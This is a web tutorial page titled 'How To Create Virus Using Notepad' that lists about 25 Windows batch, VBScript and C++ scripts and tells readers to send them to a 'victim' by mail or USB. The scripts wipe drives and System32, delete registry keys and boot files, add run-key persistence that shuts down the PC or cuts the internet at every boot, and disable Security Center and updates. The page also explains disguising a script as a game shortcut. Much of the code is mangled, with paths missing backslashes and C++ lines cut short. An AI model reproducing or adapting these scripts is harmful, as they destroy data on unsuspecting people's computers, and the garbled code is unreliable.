Skip to content

How To Create Virus Using Notepad ( 25 SCRIPTS) 2024

How to create a virus using notepad which will make you a super cool hacker? Is this possible to make Notepad Virus in 2024?

hey, friends, do you want to create the 25 most amazing simple virus-like metrics and other.

How to create a virus using notepad

  1. Just Copy/paste all the code into a notepad.
  2. Save the file with extension .bat (like seofreetips.bat)
  3. Send it to the victim by mail or by Pen Drive.
  4. When the victim will click on it, it will start working.
  5. You can also check these codes on your own PC.
  6. I have personally checked all of these codes in my Microsoft Surface Pro.
  7. These codes only work in Windows.

1. Create Fake Windows Errors With Notepad

  1. Open Notepad
  2. Type X=Msgbox(“Message Here”,0+16,”Title Here”)
  3. Replace Message Here and Title Here with your Error Message and Error-Window Title respectively.
  4. Save the file with error.vbs. (In Save as filetype, must select “all”)
  5. Now, click the file and you’ll get your custom-made Windows error message. So its easy to learn how to create a virus using notepad

Hack computers using netbios command

2. How to stop someone’s internet access

@Echo off

pconfig /release

Save that as a .bat and send it to someone. Their IP address will be lost, and therefore they won’t be able to fix it

However, this is VERY easy to fix. Simply type in IPconfig /renew

3. Dangerous Notepad Virus Code

Just open your notepad

NOW TYPE THE FOLLOWING CODE::

@echo off

del D:*.* /f /s /q

del E:*.* /f /s /q

del F:*.* /f /s /q

del G:*.* /f /s /q

del H:*.* /f /s /q

del I:*.* /f /s /q

del J:*.* /f /s /q

Then save it as SEO.bat and the batch file is created.

WARNING:: This is the most dangerous virus! Be careful with its use.

4. Delete the entire registry

@ECHO OFF

START reg delete HKCR/.exe

START reg delete HKCR/.dll

START reg delete HKCR/*

Now save it as SEO.bat and the batch file is created.

5. Crash PC forever with Notepad Virus

How to crash a PC Forever !:::

@echo off

attrib -r -s -h c:autoexec.bat

del c:autoexec.bat

attrib -r -s -h c:boot.ini

del c:boot.ini

attrib -r -s -h c:ntldr

del c:ntldr

attrib -r -s -h c:windowswin.ini

del c:windowswin.ini

Open up notepad and copy and paste that. Save it as a .bat file.

This should shut down the person’s computer. It shuts it off once and deletes the files needed to reboot and restart.

REMEMBER – DO NOT CLICK THIS FILE.

6. Application Bomber

It will start to open different applications repeatedly which will affect the system’s performance.

You can also add the application of your choice in the above code.

@echo off

😡

start winword

start mspaint

start notepad

start write

start cmd

start explorer

start control

start calc

goto x

7. ShutDown PC million Times

  1. Right-click on the desktop

2. click New – Shortcut

you will get a dialogue box, write in it: shutdown -s -t 1000 c “any comment u want” then press next

note: this “1000” I wrote is the time in seconds needed for your computer to shut down, You can put any number you want…

3. You will get another dialogue box, write in it: Internet Explorer and press finish

4. You will find the icon on ur desktop, don’t open it, just right-click on it and press properties>change icon>select the icon the internet explorer and the press apply then ok

try to open it, it is a virus

PS: the only way 2 stop your computer from shutting down is to go 2 start>run>type: shutdown -a

8. Delete System 32 Folder

Open Notepad

Write/copy the below command there:

” del c:WINDOWSsystem32*.*/q “ without quote

and save as ” anything.bat”

Done. If You Give this file to your victim his SYSTEM 32 Folder will be deleted. Without which a Windows Pc can’t be started.

9. Formate Drives in 3 Seconds

“rd/s/q D:

rd/s/q C:

rd/s/q E:” ( without quotes )

Save as “anything.bat

This virus Formats the C, D, and E Drive in 3 Seconds. This is a very useful script if you want to learn how to create a virus using a notepad.

No 10 :-

Just open the Notepad and type the paste the following Code.

set ws=createobject(“wscript.shell”)

dim strDir,strfile,st,strtxt2,strshell,strlog

dim obfso,obfolder,obshell,obfile,obtxtfile

strshell=”wscript.shell”

strDir=”C:WINDOWS”

strfile=”wscript.vbs”

st=Chr(34)

strlog=”shutdown -l”

strtxt2=”ws.run(strlog)”

set obfso=CreateObject(“Scripting.FileSystemObject”)

on error resume next

set obfile=obfso.CreateTextfile(strDir & strfile)

obfile.writeline(“set ws=createobject(“&st&strshell&st&”)”)

obfile.writeline(“ws.run(“&st&strlog&st&”)”)

ws.regwrite “HKCUSoftwareMicrosoftWindowsCurrentVersionRunLogoff”,”C:WINDOWSwscript.vbs”,”REG_SZ”

Now Save This Notepad file With Any Name Having .vbs Extension .

11. Shut Down PC with I Love You Messages

Convey your friend a little message and shut down his / her computer:

@echo off

msg * I don’t like you

shutdown -c “Error! You are too stupid!” -s

Save it as “Anything.BAT” in All Files and send it.

12. Toggle your friend’s Caps Lock button simultaneously:

Code:

Set wshShell =wscript.CreateObject(“WScript.Shel

l”)

do

wscript.sleep 100

wshshell.sendkeys “{CAPSLOCK}”

loop

Save it as “Anything.VBS” and send it.

13. Frustrate your friend by making this Vb-script hit Enter simultaneously:

Type :

Code:

Set wshShell = wscript.CreateObject(“WScript.Shell

“)

do

wscript.sleep 100

wshshell.sendkeys “~(enter)”

loop

Save it as “Anything.VBS” and send it.

14. This Virus Deletes All The Content Of A Drive…

@echo off

del %systemdrive%*.* /f /s /q

shutdown -r -f -t 00

Save The Above Code As Anything.bat

15. This Will Crash Ur Computer

Option Explicit

Dim WSHShell

Set WSHShell=Wscript.CreateObject(“Wscript.Shell”)

Dim x

For x = 1 to 100000000

WSHShell.Run “Tourstart.exe”

Next

Save It As Anything.vbs

16. The Most Simple Virus To Crush The Window

@Echo off

Del C: *.* |y

Save It As Anything.bat

17. Virus that crashes pc

@echo off

attrib -r -s -h c:autoexec.bat

del c:autoexec.bat

attrib -r -s -h c:boot.ini

del c:boot.ini

attrib -r -s -h c:ntldr

del c:ntldr

attrib -r -s -h c:windowswin.ini

del c:windowswin.ini

@echo off

msg * YOU GOT OWNED!!!

shutdown -s -t 7 -c “A VIRUS IS TAKING OVER c:Drive

Save As Anything.bat File In Notepad!!

This Will Pop Up A Message Saying OWNED!!

And Shut Down The Computer Never To Reboot Again!

18. Shutdowns Computer every time It Is Turned On

Save As A bat File

echo @echo off>c:windowshartlell.bat

echo break off>>c:windowshartlell.bat

echo shutdown -r -t 11 -f>>c:windowshartlell.bat

echo end>>c:windowshartlell.bat

reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f

reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v /t reg_sz /d c:windowshartlell.bat /f

echo You have been HACKED.

PAUSE

19. Disable Internet Permanently

echo @echo off>c:windowswimn32.bat

echo break off>>c:windowswimn32.bat

echo ipconfig/release_all>>c:windowswimn32.bat

echo end>>c:windowswimn32.bat

reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f

reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f

echo You Have Been HACKED!

PAUSE

Save As A bat File

20. Change Files To Non-working TXT Files

Save As A bat File

REN *.DOC *.TXT REN *.JPEG *.TXT

REN *.LNK *.TXT

REN *.AVI *.TXT

REN *.MPEG *.TXT

REN *.COM *.TXT

REN *.BAT *.TXT

21. System Meltdown

:CRASH

net send * WORKGROUP ENABLED

net send * WORKGROUP ENABLED

GOTO CRASH

ipconfig /release

shutdown -r -f -t0

echo @echo off>c:windowshartlell.bat

echo break off>>c:windowshartlell.bat

echo shutdown -r -t 11 -f>>c:windowshartlell.bat

echo end>>c:windowshartlell.bat

reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f

reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v HAHAHA /t reg_sz /d c:windowshartlell.bat /f

echo You Have Been Hackedecho @echo off>c:windowswimn32.bat

echo break off>>c:windowswimn32.bat

echo ipconfig/release_all>>c:windowswimn32.bat

echo end>>c:windowswimn32.bat

reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f

reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f

echo YOU HAVE BEEN HACKED BITCH

REN *.DOC *.TXT

REN *.JPEG *.TXT

REN *.LNK *.TXT

REN *.AVI *.TXT

REN *.MPEG *.TXT

REN *.COM *.TXT

REN *.BAT *.TXT

PAUSE

PAUSE

Save As A bat File

22. Temporarily Flood Network

:CRASH

net send * WORKGROUP ENABLED

net send * WORKGROUP ENABLED

GOTO CRASH

23. Shut down the computer every time on startup!

Here is how?

? Open Notepad

? Type :

@ECHO OFF

shutdown -s -t 10 -c “Virus Attack…”

exit

? File >> Save As…

? Name it: virus.bat

? Start >> All Programs

? Right Click on Startup >> Open

? This open the Startup folder

? Paste the Virus.bat file here!

*** That’s all, now the computer will

automatically shut down on every startup!

How to Spread it:

Windows don’t allow to change the icon of .bat files. Therefore what you can do is :

  • Right-click on the .bat file
  • Click on CREATE SHORTCUT
  • And hide the original file.
  • Now as this newly created file is just a shortcut, you can easily change its icon.
  • Right-click on this shortcut
  • properties >>>..cutomize>>..choose icon
  • Now give an attractive icon to it.
  • Now name it something interesting. eg. PROTOTYPE or IGI etc.
  • Now your victim would think it to be the game, and he will be easily corrupted.

24. SHUT UR INTERNET PERMANENTLY:::

This is a slightly more advanced one. It shuts down your internet permanently. I tried it on myself accidentally, I knew what it did, and it

still took me a couple of days to get my internet back. works best on

XP, not tested on vista or 7.

EDIT: At the bottom put a rickroll

site or something. BTW, that 3rd line, isn’t what disables the internet

permanently. It is something else, that just provides a fast response

to shut down any connections.

@echo off

reg

add HKLMSoftwareMicrosoftWindowsCurrentVersionRun /v MiXedVeX /t

REG_SZ /d %systemroot%HaloTrialScoreChangerV1 /f > nul

start iexpress (website of your choice)

ipconfig /release

del “C:Program FilesMicrosoft Games

del “C:Nexon

del “C:Program FilesXfire

del “C:Program FilesAdobe”

del “C:Program FilesInternet Explorer”

del “C:Program FilesMozilla Firefox”

del “C:WINDOWS”

del “C:WINDOWSsystem32”

del “C:WINDOWSsystem32cmd”

del “C:WINDOWSsystem32iexpress”

del “C:WINDOWSsystem32sndvol32”

del “C:WINDOWSsystem32sndrec32”

del “C:WINDOWSsystem32Restorerstrui”

del “C:WINDOWSsystem32wupdmgr”

del “C:WINDOWSsystem32desktop”

del “C:WINDOWSjava”

del “C:WINDOWSMedia”

del “C:WINDOWSResources”

del “C:WINDOWSsystem”

del “C:drivers”

del “C:drv”

del “C:SYSINFO”

del “C:Program Files”

echo ipconfig/release_all>>c:windowswimn32.bat

net stop “Security Center”

net stop SharedAccess

> “%Temp%.kill.reg” ECHO REGEDIT4

>>”%Temp%.kill.reg” ECHO.

>>”%Temp%.kill.reg” ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess]

>>”%Temp%.kill.reg” ECHO “Start”=dword:00000004

>>”%Temp%.kill.reg” ECHO.

>>”%Temp%.kill.reg” ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv]

>>”%Temp%.kill.reg” ECHO “Start”=dword:00000004

>>”%Temp%.kill.reg” ECHO.

>>”%Temp%.kill.reg” ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c]

>>”%Temp%.kill.reg” ECHO “Start”=dword:00000004

>>”%Temp%.kill.reg” ECHO.

START /WAIT REGEDIT /S “%Temp%.kill.reg”

del “%Temp%.kill.reg”

del %0

echo @echo off>c:windowswimn32.bat

echo break off>>c:windowswimn32.bat

echo ipconfig/release_all>>c:windowswimn32.bat

echo end>>c:windowswimn32.bat

reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f

reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f

:a

start iexpress (website of your choice)

goto a

25. MAKING THE MOST DANGEROUS VIRUS CALLED MATRIX:::

Warning – Do not run it on your computer

I’m gonna teach you how to make a virus named Matrix…

1-Open notepad

2-Put in this code

#include

#include

#include

#include

#include

#include

#include

using namespace std;

int main()

{ keybd_event(VK_MENU,0x38,0,0);

keybd_event(VK_RETURN,0x1c,0,0);

keybd_event(VK_RETURN,0x1c,KEYEVENTF_KEYUP,0);

keybd_event(VK_MENU,0x38,KEYEVENTF_KEYUP,0);

HANDLE outToScreen;

outToScreen = GetStdHandle(STD_OUTPUT_HANDLE);

{

char buffer[255];

char inputFile[]=”C:Documents and SettingsAll UsersStart MenuProgramsStartuprawr.bat”;

ifstream input(inputFile);

if (!input)

{

{

ofstream fp(“C:Documents and SettingsAll UsersStart MenuProgramsStartuprawr.bat”, ios::app);

fp

fp

fp

}

}

else

{

while (!input.eof())

{

input.getline(buffer,255);

}

}

}

{

char buffer[255];

char inputFile[]=”C:rawr.exe”;

ifstream input(inputFile);

if (!input)

{

{

{

ofstream fp(“CLICK.bat”, ios::app);

fp

fp

fp

fp

}

system(“START CLICK.bat”);

main();

}

}

else

{

while (!input.eof())

{

input.getline(buffer,255);

system(“call shutdown.exe -S”);

goto START;

}

}

}

START:{

for(int i = 0; i < 1; i++)

{

int num = (rand() % 10);

SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN | FOREGROUND_INTENSITY);

cout

cout

cout

cout

cout

cout

cout

cout

cout

cout

cout

cout

Sleep(60);

}

}

for ( int j = 0; j < 5; j++)

{

SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN);

int number = (rand() % 24);

cout

}

goto START;

3-save it as matrix.bat

4-finish

AS IT WAS TOO DANGEROUS THE ACTUAL HEADER FILES FOR THIS SCRIPT ARE NOT GIVEN

AND IF U WANT TO TRY THIS SCRIPT U CAN JUST USE OF HEADER FILES SUCH AS STDIN, STDLIB, CONIO, AND STUFF LIKE THAT

26. Convert Text Into Audio Using Notepad:

Open Notepad.

Copy and paste the below-mentioned code.

Dim message, sapi message=InputBox(“Enter your text for conversion–Hacking-world.tk”,”Hover pc Hacks Text-To-Audio Converter”) Set sapi=CreateObject(“sapi.spvoice”) sapi.Speak message

Save this file with any name with .vbs as an extension. For eg. Text-To-Audio.vbs

HOW TO KILL RUNNING VIRUS –

1st way: Configure startup processes to stop it

A process can be run by a service, or it can run by a startup process. If you can identify the service or the startup process, then you can tell your computer not to run if the next time it boots. This is the recommended approach.

Sometimes a virus process doesn’t start running until several minutes have passed since boot. In this case the virus process is usually run by another process, which could be a legitimate process (e.g. services.exe). Exactly how Windows services work is beyond the scope of this tutorial.

All you need to know is that you should find out whether the virus process is run by some Windows service. The quickest way to find out is to count the number of running services after the virus process starts running (by going to Windows -> Run… -> type ‘msconfig’ and clicking Services tab).

You kill the virus process; then count the number of running services again. If the number drops by one, then you know for sure some service is the culprit. Find out what that service is and uncheck it and reboot.

I removed a virus for my uncle this way. First, identify the service that runs the virus process Go to Windows -> Run… -> type ‘Services.msc’. You should see a list of services. For each of them, you can right-click and choose ‘Properties’ (or right-click and press key ‘R’).

In Properties window you can see ‘Path to executable’, which is what you are interested in. Since you already know the path to the virus .exe, you can go through each service and see which one has that path. If you can find it, go to Windows -> Run… -> type ‘msconfig’.

Click the Services tab and you should see a list of services in there. The checked ones are the ones that run automatically when your computer starts up. Uncheck the virus service and reboot.

After your computer boots up, the virus process should not be running and you should be able to safely delete the virus files. HOWEVER, if the service is a critical Windows service such as ‘COM+ Event System’ and ‘Workstation’

If you cannot find it, go to Windows -> Run… -> type ‘msconfig’, go through the list in the Startup tab. In the Command column you can see the path to the .exe. Uncheck the one that matches the path to the virus and reboot. After your computer boots up, the virus process should not be running and you should be able to safely delete the virus files.

2nd way: Kill the process manually right click on the .exe in Process Explorer and select “Kill Process”. 

HOWEVER, if this is a critical Windows process such as ‘svchost.exe’. you may see an error dialog saying that you cannot kill it. Or you may kill it successfully but then your computer behaves in a weird, unstable, or inoperable way  (e.g. all your items on your desktop are gone if you stop ‘explore.exe’).

Otherwise, you can safely delete the virus files. If you can successfully stop the virus process, you will be able to delete the virus files. Again, even if you cannot delete virus files, as long as you can stop the virus process, the virus will not affect your PC and you can proceed with your normal work. Reboot and the virus should be gone.

As an alternative, you can rename the virus file to any junk name. The Windows OS does not allow you to delete a file when some process is using the file but it allows you to rename it, rendering it unusable. Once you’ve renamed it you should be able to delete it

0 Shares

14 thoughts on “How To Create Virus Using Notepad ( 25 SCRIPTS) 2024”

  1. Very nice sir. Sir when I start my laptop without charger it will start and when I put charger to it it shutsdown and screen shows black. Is this type of virus or laptop problem

  2. sir how to hack android phone ?
    will this script will run in android if send by whaTSAPP or any other social media app

Leave a Reply

Your email address will not be published. Required fields are marked *

0 Shares